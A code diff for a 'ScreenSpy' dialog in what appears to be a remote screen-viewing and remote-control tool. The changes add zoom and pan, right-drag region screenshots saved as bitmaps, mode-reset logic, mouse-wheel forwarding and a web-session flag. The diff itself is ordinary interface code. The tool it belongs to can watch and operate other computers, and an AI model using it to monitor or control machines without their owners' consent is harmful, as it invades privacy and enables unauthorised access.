|
||||||
|
} else if (m_bAdaptiveSize) {
|
||||||
// 尺寸相同时用 BitBlt(更快),否则用 StretchBlt
|
// 尺寸相同时用 BitBlt(更快),否则用 StretchBlt
|
||||||
if (srcW == dstW && srcH == dstH) {
|
if (srcW == dstW && srcH == dstH) {
|
||||||
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY);
|
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY);
|
||||||
@@ -1607,6 +1658,27 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
|
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 绘制框选矩形(左键放大用红色,右键截图用绿色,二者颜色错开避免误操作)
|
||||||
|
if (m_bSelectingZoom || m_bSelectingShot) {
|
||||||
|
CPoint ptStart = m_bSelectingZoom ? m_ptZoomStart : m_ptShotStart;
|
||||||
|
CPoint ptCur = m_bSelectingZoom ? m_ptZoomCurrent : m_ptShotCurrent;
|
||||||
|
COLORREF clr = m_bSelectingZoom ? RGB(255, 0, 0) : RGB(0, 180, 0);
|
||||||
|
|
||||||
|
CRect rcSelect;
|
||||||
|
rcSelect.left = min(ptStart.x, ptCur.x);
|
||||||
|
rcSelect.top = min(ptStart.y, ptCur.y);
|
||||||
|
rcSelect.right = max(ptStart.x, ptCur.x);
|
||||||
|
rcSelect.bottom = max(ptStart.y, ptCur.y);
|
||||||
|
|
||||||
|
HPEN hPen = CreatePen(PS_DASH, 1, clr);
|
||||||
|
HPEN hOldPen = (HPEN)SelectObject(m_hFullDC, hPen);
|
||||||
|
HBRUSH hOldBrush = (HBRUSH)SelectObject(m_hFullDC, GetStockObject(NULL_BRUSH));
|
||||||
|
Rectangle(m_hFullDC, rcSelect.left, rcSelect.top, rcSelect.right, rcSelect.bottom);
|
||||||
|
SelectObject(m_hFullDC, hOldBrush);
|
||||||
|
SelectObject(m_hFullDC, hOldPen);
|
||||||
|
DeleteObject(hPen);
|
||||||
|
}
|
||||||
|
|
||||||
if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) {
|
if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) {
|
||||||
CPoint ptLocal;
|
CPoint ptLocal;
|
||||||
GetCursorPos(&ptLocal);
|
GetCursorPos(&ptLocal);
|
||||||
@@ -1789,6 +1861,10 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
switch (nID) {
|
switch (nID) {
|
||||||
case IDM_CONTROL: {
|
case IDM_CONTROL: {
|
||||||
m_bIsCtrl = !m_bIsCtrl;
|
m_bIsCtrl = !m_bIsCtrl;
|
||||||
|
// 进入控制模式时重置放大状态
|
||||||
|
if (m_bIsCtrl && m_bZoomedIn) {
|
||||||
|
ResetZoom();
|
||||||
|
}
|
||||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||||
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
||||||
@@ -2305,8 +2381,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
MSG wheelMsg = *pMsg;
|
MSG wheelMsg = *pMsg;
|
||||||
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
|
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
|
||||||
SendScaledMouseMessage(&wheelMsg, true);
|
SendScaledMouseMessage(&wheelMsg, true);
|
||||||
|
return TRUE; // 已处理,阻止继续分发到 OnMouseWheel
|
||||||
}
|
}
|
||||||
break;
|
|
||||||
case WM_KEYDOWN:
|
case WM_KEYDOWN:
|
||||||
case WM_KEYUP:
|
case WM_KEYUP:
|
||||||
case WM_SYSKEYDOWN:
|
case WM_SYSKEYDOWN:
|
||||||
@@ -2541,6 +2617,11 @@ void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
|||||||
|
|
||||||
void CScreenSpyDlg::EnterFullScreen()
|
void CScreenSpyDlg::EnterFullScreen()
|
||||||
{
|
{
|
||||||
|
// 进入全屏时重置放大状态
|
||||||
|
if (m_bZoomedIn) {
|
||||||
|
ResetZoom();
|
||||||
|
}
|
||||||
|
|
||||||
if (1) {
|
if (1) {
|
||||||
// 1. 获取对话框当前所在的显示器
|
// 1. 获取对话框当前所在的显示器
|
||||||
HMONITOR hMonitor = MonitorFromWindow(m_hWnd, MONITOR_DEFAULTTONEAREST);
|
HMONITOR hMonitor = MonitorFromWindow(m_hWnd, MONITOR_DEFAULTTONEAREST);
|
||||||
@@ -2628,6 +2709,11 @@ void CScreenSpyDlg::EnterFullScreen()
|
|||||||
// 全屏退出成功则返回true
|
// 全屏退出成功则返回true
|
||||||
bool CScreenSpyDlg::LeaveFullScreen()
|
bool CScreenSpyDlg::LeaveFullScreen()
|
||||||
{
|
{
|
||||||
|
// 退出全屏时重置放大状态
|
||||||
|
if (m_bZoomedIn) {
|
||||||
|
ResetZoom();
|
||||||
|
}
|
||||||
|
|
||||||
if (1) {
|
if (1) {
|
||||||
KillTimer(1);
|
KillTimer(1);
|
||||||
if (m_pToolbar) {
|
if (m_pToolbar) {
|
||||||
@@ -2668,26 +2754,375 @@ bool CScreenSpyDlg::LeaveFullScreen()
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ========== 局部放大功能辅助函数 ==========
|
||||||
|
|
||||||
|
// 重置放大状态
|
||||||
|
void CScreenSpyDlg::ResetZoom()
|
||||||
|
{
|
||||||
|
m_bZoomedIn = false;
|
||||||
|
m_bSelectingZoom = false;
|
||||||
|
m_bZoomDragging = false;
|
||||||
|
m_rcZoomSrc.SetRectEmpty();
|
||||||
|
Invalidate();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 屏幕坐标转原图坐标(考虑放大状态)
|
||||||
|
CPoint CScreenSpyDlg::ScreenToImage(CPoint pt)
|
||||||
|
{
|
||||||
|
if (!m_BitmapInfor_Full) return pt;
|
||||||
|
|
||||||
|
int dstW = m_CRect.Width();
|
||||||
|
int dstH = m_CRect.Height();
|
||||||
|
if (dstW <= 0 || dstH <= 0) return pt; // 防止除零
|
||||||
|
|
||||||
|
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
|
||||||
|
// 放大状态:从显示区域映射到放大区域
|
||||||
|
double scaleX = (double)m_rcZoomSrc.Width() / dstW;
|
||||||
|
double scaleY = (double)m_rcZoomSrc.Height() / dstH;
|
||||||
|
return CPoint(
|
||||||
|
(int)(m_rcZoomSrc.left + pt.x * scaleX),
|
||||||
|
(int)(m_rcZoomSrc.top + pt.y * scaleY)
|
||||||
|
);
|
||||||
|
} else if (m_bAdaptiveSize) {
|
||||||
|
// 自适应模式:按比例缩放
|
||||||
|
return CPoint((int)(pt.x * m_wZoom), (int)(pt.y * m_hZoom));
|
||||||
|
} else {
|
||||||
|
// 滚动模式:加上滚动偏移
|
||||||
|
return CPoint(pt.x + m_ulHScrollPos, pt.y + m_ulVScrollPos);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 原图坐标转屏幕坐标(考虑放大状态)
|
||||||
|
CPoint CScreenSpyDlg::ImageToScreen(CPoint pt)
|
||||||
|
{
|
||||||
|
if (!m_BitmapInfor_Full) return pt;
|
||||||
|
|
||||||
|
int zoomW = m_rcZoomSrc.Width();
|
||||||
|
int zoomH = m_rcZoomSrc.Height();
|
||||||
|
|
||||||
|
if (m_bZoomedIn && zoomW > 0 && zoomH > 0) {
|
||||||
|
// 放大状态:从放大区域映射到显示区域
|
||||||
|
int dstW = m_CRect.Width();
|
||||||
|
int dstH = m_CRect.Height();
|
||||||
|
double scaleX = (double)dstW / zoomW;
|
||||||
|
double scaleY = (double)dstH / zoomH;
|
||||||
|
return CPoint(
|
||||||
|
(int)((pt.x - m_rcZoomSrc.left) * scaleX),
|
||||||
|
(int)((pt.y - m_rcZoomSrc.top) * scaleY)
|
||||||
|
);
|
||||||
|
} else if (m_bAdaptiveSize) {
|
||||||
|
if (m_wZoom > 0 && m_hZoom > 0) {
|
||||||
|
return CPoint((int)(pt.x / m_wZoom), (int)(pt.y / m_hZoom));
|
||||||
|
}
|
||||||
|
return pt;
|
||||||
|
} else {
|
||||||
|
return CPoint(pt.x - m_ulHScrollPos, pt.y - m_ulVScrollPos);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
|
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
|
||||||
{
|
{
|
||||||
|
// 非控制模式下的放大功能
|
||||||
|
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
|
||||||
|
if (m_bZoomedIn) {
|
||||||
|
// 放大状态:开始拖拽平移
|
||||||
|
m_bZoomDragging = true;
|
||||||
|
m_ptZoomDragStart = point; // 保存起点用于点击检测
|
||||||
|
m_ptZoomDragLast = point; // 用于增量拖拽计算
|
||||||
|
SetCapture();
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
// 正常状态:开始框选放大区域
|
||||||
|
m_bSelectingZoom = true;
|
||||||
|
m_ptZoomStart = point;
|
||||||
|
m_ptZoomCurrent = point;
|
||||||
|
SetCapture();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
__super::OnLButtonDown(nFlags, point);
|
__super::OnLButtonDown(nFlags, point);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
|
void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
|
||||||
{
|
{
|
||||||
|
// 处理放大功能的鼠标释放
|
||||||
|
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
|
||||||
|
if (m_bSelectingZoom) {
|
||||||
|
// 完成框选
|
||||||
|
ReleaseCapture();
|
||||||
|
m_bSelectingZoom = false;
|
||||||
|
|
||||||
|
// 计算选择区域(确保left<right, top<bottom)
|
||||||
|
CRect rcSelect;
|
||||||
|
rcSelect.left = min(m_ptZoomStart.x, point.x);
|
||||||
|
rcSelect.top = min(m_ptZoomStart.y, point.y);
|
||||||
|
rcSelect.right = max(m_ptZoomStart.x, point.x);
|
||||||
|
rcSelect.bottom = max(m_ptZoomStart.y, point.y);
|
||||||
|
|
||||||
|
// 框选区域太小时视为点击,如果已放大则还原
|
||||||
|
if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
|
||||||
|
if (m_bZoomedIn) {
|
||||||
|
ResetZoom();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将屏幕坐标转换为原图坐标
|
||||||
|
if (!ScreenRectToImageRect(rcSelect, m_rcZoomSrc)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 进入放大状态
|
||||||
|
m_bZoomedIn = true;
|
||||||
|
Invalidate();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_bZoomDragging) {
|
||||||
|
// 完成拖拽
|
||||||
|
ReleaseCapture();
|
||||||
|
m_bZoomDragging = false;
|
||||||
|
|
||||||
|
// 检查是否为点击(几乎没有移动)
|
||||||
|
int dx = abs(point.x - m_ptZoomDragStart.x);
|
||||||
|
int dy = abs(point.y - m_ptZoomDragStart.y);
|
||||||
|
if (dx < 5 && dy < 5) {
|
||||||
|
// 点击还原
|
||||||
|
ResetZoom();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
__super::OnLButtonUp(nFlags, point);
|
__super::OnLButtonUp(nFlags, point);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CScreenSpyDlg::OnRButtonDown(UINT nFlags, CPoint point)
|
||||||
|
{
|
||||||
|
// 非控制模式下:右键框选 → 截图保存。控制模式下右键由 PreTranslateMessage 转发给客户端。
|
||||||
|
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
|
||||||
|
// 与左键互斥:左键正在框选/拖拽时不接管右键,避免冲突
|
||||||
|
if (m_bSelectingZoom || m_bZoomDragging) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
m_bSelectingShot = true;
|
||||||
|
m_ptShotStart = point;
|
||||||
|
m_ptShotCurrent = point;
|
||||||
|
SetCapture();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
__super::OnRButtonDown(nFlags, point);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CScreenSpyDlg::OnRButtonUp(UINT nFlags, CPoint point)
|
||||||
|
{
|
||||||
|
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full && m_bSelectingShot) {
|
||||||
|
ReleaseCapture();
|
||||||
|
m_bSelectingShot = false;
|
||||||
|
|
||||||
|
CRect rcSelect;
|
||||||
|
rcSelect.left = min(m_ptShotStart.x, point.x);
|
||||||
|
rcSelect.top = min(m_ptShotStart.y, point.y);
|
||||||
|
rcSelect.right = max(m_ptShotStart.x, point.x);
|
||||||
|
rcSelect.bottom = max(m_ptShotStart.y, point.y);
|
||||||
|
|
||||||
|
// 太小视为误触(与左键放大同阈值)
|
||||||
|
if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
|
||||||
|
Invalidate(FALSE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
CRect rcImage;
|
||||||
|
if (ScreenRectToImageRect(rcSelect, rcImage) &&
|
||||||
|
rcImage.Width() > 0 && rcImage.Height() > 0)
|
||||||
|
{
|
||||||
|
SaveRegionScreenshot(rcImage);
|
||||||
|
}
|
||||||
|
Invalidate(FALSE); // 清掉绿色选框
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
__super::OnRButtonUp(nFlags, point);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// 屏幕(窗口)选框 → 原图坐标,考虑放大状态、自适应、滚动
|
||||||
|
bool CScreenSpyDlg::ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage)
|
||||||
|
{
|
||||||
|
if (!m_BitmapInfor_Full) return false;
|
||||||
|
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
|
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
|
||||||
|
if (srcW <= 0 || srcH <= 0) return false;
|
||||||
|
|
||||||
|
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
|
||||||
|
// 放大状态:屏幕坐标 → 当前可视的子区域内的原图坐标
|
||||||
|
int dstW = m_CRect.Width();
|
||||||
|
int dstH = m_CRect.Height();
|
||||||
|
if (dstW <= 0 || dstH <= 0) return false;
|
||||||
|
double scaleX = (double)m_rcZoomSrc.Width() / dstW;
|
||||||
|
double scaleY = (double)m_rcZoomSrc.Height() / dstH;
|
||||||
|
rcImage.left = (int)(m_rcZoomSrc.left + rcScreen.left * scaleX);
|
||||||
|
rcImage.top = (int)(m_rcZoomSrc.top + rcScreen.top * scaleY);
|
||||||
|
rcImage.right = (int)(m_rcZoomSrc.left + rcScreen.right * scaleX);
|
||||||
|
rcImage.bottom = (int)(m_rcZoomSrc.top + rcScreen.bottom * scaleY);
|
||||||
|
} else if (m_bAdaptiveSize) {
|
||||||
|
rcImage.left = (int)(rcScreen.left * m_wZoom);
|
||||||
|
rcImage.top = (int)(rcScreen.top * m_hZoom);
|
||||||
|
rcImage.right = (int)(rcScreen.right * m_wZoom);
|
||||||
|
rcImage.bottom = (int)(rcScreen.bottom * m_hZoom);
|
||||||
|
} else {
|
||||||
|
rcImage.left = rcScreen.left + m_ulHScrollPos;
|
||||||
|
rcImage.top = rcScreen.top + m_ulVScrollPos;
|
||||||
|
rcImage.right = rcScreen.right + m_ulHScrollPos;
|
||||||
|
rcImage.bottom = rcScreen.bottom + m_ulVScrollPos;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 限制在原图范围内
|
||||||
|
rcImage.left = max(0L, min(rcImage.left, (LONG)srcW));
|
||||||
|
rcImage.top = max(0L, min(rcImage.top, (LONG)srcH));
|
||||||
|
rcImage.right = max(0L, min(rcImage.right, (LONG)srcW));
|
||||||
|
rcImage.bottom = max(0L, min(rcImage.bottom, (LONG)srcH));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// 把原图中 [rcImage] 区域裁出来,写成独立 BMP(24bpp 或 32bpp 由源图决定)
|
||||||
|
void CScreenSpyDlg::SaveRegionScreenshot(const CRect& rcImage)
|
||||||
|
{
|
||||||
|
if (!m_BitmapInfor_Full || !m_BitmapData_Full) return;
|
||||||
|
if (rcImage.Width() <= 0 || rcImage.Height() <= 0) return;
|
||||||
|
|
||||||
|
auto path = GetScreenShotPath(this, m_IPAddress, _TR("位图文件(*.bmp)|*.bmp|"), "bmp");
|
||||||
|
if (path.empty()) return;
|
||||||
|
|
||||||
|
// 源 DIB 是 BGR 24bpp 或 BGRA 32bpp,bottom-up(biHeight > 0)
|
||||||
|
const BITMAPINFOHEADER& srcHdr = m_BitmapInfor_Full->bmiHeader;
|
||||||
|
int bpp = srcHdr.biBitCount;
|
||||||
|
if (bpp != 24 && bpp != 32) return; // 仅支持当前实际使用的两种位深
|
||||||
|
int srcW = srcHdr.biWidth;
|
||||||
|
int srcH = srcHdr.biHeight;
|
||||||
|
int srcStride = ((srcW * bpp + 31) / 32) * 4;
|
||||||
|
|
||||||
|
int dstW = rcImage.Width();
|
||||||
|
int dstH = rcImage.Height();
|
||||||
|
int dstStride = ((dstW * bpp + 31) / 32) * 4;
|
||||||
|
int dstSize = dstStride * dstH;
|
||||||
|
|
||||||
|
std::vector<BYTE> dstPixels(dstSize, 0);
|
||||||
|
const BYTE* srcBase = (const BYTE*)m_BitmapData_Full;
|
||||||
|
|
||||||
|
// bottom-up:原图第 y 行(从顶起算)位于 srcBase + (srcH - 1 - y) * srcStride
|
||||||
|
int byteX = rcImage.left * (bpp / 8);
|
||||||
|
int copyBytes = dstW * (bpp / 8);
|
||||||
|
for (int y = 0; y < dstH; ++y) {
|
||||||
|
int srcRowFromTop = rcImage.top + y;
|
||||||
|
int srcRowOffset = (srcH - 1 - srcRowFromTop) * srcStride + byteX;
|
||||||
|
int dstRowOffset = (dstH - 1 - y) * dstStride;
|
||||||
|
memcpy(&dstPixels[dstRowOffset], &srcBase[srcRowOffset], copyBytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 拼装 BITMAPINFO(裁剪后只需要 BITMAPINFOHEADER;24/32bpp 不需要调色板)
|
||||||
|
BITMAPINFO dstBmi = {};
|
||||||
|
dstBmi.bmiHeader = srcHdr;
|
||||||
|
dstBmi.bmiHeader.biWidth = dstW;
|
||||||
|
dstBmi.bmiHeader.biHeight = dstH;
|
||||||
|
dstBmi.bmiHeader.biSizeImage = dstSize;
|
||||||
|
dstBmi.bmiHeader.biCompression = BI_RGB;
|
||||||
|
|
||||||
|
if (WriteBitmap(&dstBmi, dstPixels.data(), path)) {
|
||||||
|
m_strSaveNotice = path;
|
||||||
|
m_nSaveNoticeTime = GetTickCount64();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
|
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
|
||||||
{
|
{
|
||||||
return __super::OnMouseWheel(nFlags, zDelta, pt);
|
// Convert screen coordinates to client coordinates
|
||||||
|
ScreenToClient(&pt);
|
||||||
|
|
||||||
|
// Build MSG structure for SendScaledMouseMessage
|
||||||
|
MSG msg = {};
|
||||||
|
msg.hwnd = m_hWnd;
|
||||||
|
msg.message = WM_MOUSEWHEEL;
|
||||||
|
msg.wParam = MAKEWPARAM(nFlags, zDelta);
|
||||||
|
msg.lParam = MAKELPARAM(pt.x, pt.y);
|
||||||
|
msg.time = GetTickCount();
|
||||||
|
msg.pt = { pt.x, pt.y };
|
||||||
|
|
||||||
|
SendScaledMouseMessage(&msg, true);
|
||||||
|
return TRUE; // Message handled, don't pass to parent
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
|
void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
|
||||||
{
|
{
|
||||||
|
// 处理放大功能的鼠标移动
|
||||||
|
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
|
||||||
|
if (m_bSelectingZoom) {
|
||||||
|
// 框选中:更新当前点并重绘选择框
|
||||||
|
m_ptZoomCurrent = point;
|
||||||
|
Invalidate(FALSE); // FALSE表示不擦除背景,减少闪烁
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (m_bSelectingShot) {
|
||||||
|
m_ptShotCurrent = point;
|
||||||
|
Invalidate(FALSE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_bZoomDragging) {
|
||||||
|
// 拖拽平移:计算偏移量并移动放大区域
|
||||||
|
int dx = point.x - m_ptZoomDragLast.x;
|
||||||
|
int dy = point.y - m_ptZoomDragLast.y;
|
||||||
|
m_ptZoomDragLast = point; // 更新上一点(保持m_ptZoomDragStart不变用于点击检测)
|
||||||
|
|
||||||
|
// 计算缩放比例(添加除零保护)
|
||||||
|
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
|
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
|
||||||
|
int dstW = m_CRect.Width();
|
||||||
|
int dstH = m_CRect.Height();
|
||||||
|
int zoomW = m_rcZoomSrc.Width();
|
||||||
|
int zoomH = m_rcZoomSrc.Height();
|
||||||
|
|
||||||
|
if (dstW <= 0 || dstH <= 0 || zoomW <= 0 || zoomH <= 0) {
|
||||||
|
return; // 防止除零
|
||||||
|
}
|
||||||
|
|
||||||
|
double scaleX = (double)zoomW / dstW;
|
||||||
|
double scaleY = (double)zoomH / dstH;
|
||||||
|
|
||||||
|
// 将屏幕偏移转换为原图偏移(方向相反)
|
||||||
|
int imgDx = (int)(-dx * scaleX);
|
||||||
|
int imgDy = (int)(-dy * scaleY);
|
||||||
|
|
||||||
|
// 移动放大区域
|
||||||
|
m_rcZoomSrc.OffsetRect(imgDx, imgDy);
|
||||||
|
|
||||||
|
// 限制在原图范围内
|
||||||
|
if (m_rcZoomSrc.left < 0) {
|
||||||
|
m_rcZoomSrc.right -= m_rcZoomSrc.left;
|
||||||
|
m_rcZoomSrc.left = 0;
|
||||||
|
}
|
||||||
|
if (m_rcZoomSrc.top < 0) {
|
||||||
|
m_rcZoomSrc.bottom -= m_rcZoomSrc.top;
|
||||||
|
m_rcZoomSrc.top = 0;
|
||||||
|
}
|
||||||
|
if (m_rcZoomSrc.right > srcW) {
|
||||||
|
m_rcZoomSrc.left -= (m_rcZoomSrc.right - srcW);
|
||||||
|
m_rcZoomSrc.right = srcW;
|
||||||
|
}
|
||||||
|
if (m_rcZoomSrc.bottom > srcH) {
|
||||||
|
m_rcZoomSrc.top -= (m_rcZoomSrc.bottom - srcH);
|
||||||
|
m_rcZoomSrc.bottom = srcH;
|
||||||
|
}
|
||||||
|
|
||||||
|
Invalidate(FALSE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (m_Settings.RemoteCursor) {
|
if (m_Settings.RemoteCursor) {
|
||||||
if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) {
|
if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) {
|
||||||
CRect rcToolbar;
|
CRect rcToolbar;
|
||||||
@@ -2770,9 +3205,36 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
|
|||||||
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
|
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
|
||||||
{
|
{
|
||||||
m_bIsCtrl = ctrl;
|
m_bIsCtrl = ctrl;
|
||||||
|
m_bIsTraceCursor = !m_bIsCtrl;
|
||||||
|
// 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选
|
||||||
|
if (m_bIsCtrl) {
|
||||||
|
if (m_bZoomedIn) ResetZoom();
|
||||||
|
if (m_bSelectingShot) {
|
||||||
|
m_bSelectingShot = false;
|
||||||
|
if (GetCapture() == this) ReleaseCapture();
|
||||||
|
Invalidate(FALSE);
|
||||||
|
}
|
||||||
|
}
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||||
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
||||||
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
||||||
|
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||||
|
if (SysMenu) {
|
||||||
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd)
|
||||||
|
{
|
||||||
|
// 捕获丢失时重置框选/拖拽状态
|
||||||
|
if (m_bSelectingZoom || m_bZoomDragging || m_bSelectingShot) {
|
||||||
|
m_bSelectingZoom = false;
|
||||||
|
m_bZoomDragging = false;
|
||||||
|
m_bSelectingShot = false;
|
||||||
|
Invalidate();
|
||||||
|
}
|
||||||
|
__super::OnCaptureChanged(pWnd);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)
|
void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <imm.h>
|
#include <imm.h>
|
||||||
#include <map>
|
#include <map>
|
||||||
|
#include <atomic>
|
||||||
#include "IOCPServer.h"
|
#include "IOCPServer.h"
|
||||||
#include "..\..\client\CursorInfo.h"
|
#include "..\..\client\CursorInfo.h"
|
||||||
#include "VideoDlg.h"
|
#include "VideoDlg.h"
|
||||||
@@ -153,6 +154,10 @@ public:
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Check if this dialog was created by Web request (shared by Web users)
|
||||||
|
bool IsWebSession() const { return m_bIsWebSession.load(); }
|
||||||
|
void SetWebSession(bool isWeb) { m_bIsWebSession.store(isWeb); }
|
||||||
|
|
||||||
VOID SendNext(void);
|
VOID SendNext(void);
|
||||||
VOID OnReceiveComplete();
|
VOID OnReceiveComplete();
|
||||||
HDC m_hFullDC;
|
HDC m_hFullDC;
|
||||||
@@ -186,13 +191,15 @@ public:
|
|||||||
int m_FrameID;
|
int m_FrameID;
|
||||||
HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用
|
HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用
|
||||||
bool m_bHide = false;
|
bool m_bHide = false;
|
||||||
|
std::atomic<bool> m_bIsWebSession{false}; // True if this dialog was created by Web request (atomic for thread safety)
|
||||||
std::string m_strSaveNotice; // 截图保存路径提示
|
std::string m_strSaveNotice; // 截图保存路径提示
|
||||||
ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
|
ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
|
||||||
BOOL m_bUsingFRP = FALSE;
|
BOOL m_bUsingFRP = FALSE;
|
||||||
|
|
||||||
// 文件接收进度对话框(用于 Linux Ctrl+C -> 服务端 Ctrl+V)
|
// 文件接收进度对话框(用于 Linux Ctrl+C -> 服务端 Ctrl+V)
|
||||||
// 按 transferID 管理多个并发传输
|
// 按 transferID 管理多个并发传输
|
||||||
std::map<uint64_t, class CDlgFileSend*> m_FileRecvDlgs;
|
// 存储 {HWND, 指针} 对,HWND 用于安全检查(指针可能变成野指针)
|
||||||
|
std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;
|
||||||
|
|
||||||
void SaveSnapshot(void);
|
void SaveSnapshot(void);
|
||||||
// 对话框数据
|
// 对话框数据
|
||||||
